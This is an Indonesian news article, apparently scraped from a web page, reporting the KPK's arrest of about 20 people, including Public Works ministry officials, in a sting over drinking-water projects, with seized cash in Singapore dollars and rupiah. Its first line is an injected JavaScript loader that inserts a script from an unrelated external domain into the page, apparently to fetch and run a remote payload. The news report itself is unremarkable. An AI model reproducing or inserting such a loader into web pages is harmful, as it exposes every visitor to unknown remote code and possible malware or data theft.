(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hukum

KPK: 20 Orang Diciduk dalam OTT Pejabat Kementerian PUPR

JAKARTA, Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Laode M Syarif mengonfirmasi operasi tangkap tangan (OTT) terhadap pejabat Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR). Syarif menyebut sekitar 20 orang ditangkap dalam operasi senyap, Jumat (28/12).
“Dari lokasi diamankan dua puluh orang, yang terdiri dari pihak Kementerian PUPR dari unsur pejabat dan PPK sejumlah proyek yang dikelola Kementerian PUPR dan swasta dan pihak lain,” kata Syarif kepada wartawan lewat pesan singkat.
Syarif mengatakan penangkapan terhadap 20 orang itu dilakukan sejak sore sampai malam ini di Jakarta. Menurut Syarif, dari pemeriksaan awal OTT terhadap pejabat Kementerian PUPR itu terkait dengan proyek sistem penjernihan air minum (SPAM) Ditjen Cipta Karya tahun 2018, di sejumlah daerah.
Syarif mengatakan saat ini tim perlu melakukan pemeriksaan secara intensif terhadap pihak-pihak yang diamankan tersebut. Sesuai KUHAP dalam waktu maksimal 24 jam, KPK akan menentukan status hukum perkara dan pihak-pihak yang diamankan.
Pada penangkapan tersebut, KPK menyita sejumlah uang pecahan dolar Singapura dalam operasi tangkap tangan (OTT) terhadap pejabat Direktorat Cipta Karya Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR). KPK menyita uang sebanyak SGD 25 ribu dan Rp 500 juta. Selain itu, ada uang sekardus yang jumlahnya tengah dihitung.
“Tim mengamankan barang bukti awal sebesar Rp 500 juta dan SGD 25.000 serta satu kardus uang yang sedang dihitung,” kata Wakil Ketua KPK Laode M Syarif.
Diduga pemberian uang tersebut terkait dengan proyek penyediaan air minum di sejumlah daerah. KPK masih menyelidiki lebih lanjut apakah proyek tersebut terkait dengan proyek sistem penyediaan air minum untuk tanggap bencana.
Sebelumnya, Menteri PUPR Basuki Hadimuljono mengatakan hal yang sama. Dia meminta Irjen Kementerian PUPR ke KPK untuk memastikan informasi yang lebih detail. “Sehingga info yang baru kami dapat, kami baru dapat ada pegawai PU yang terkena OTT di bidang air minum. Siapa dan apa kami belum tahu,” kata Basuki di kantornya.(cel/dtc/cnni)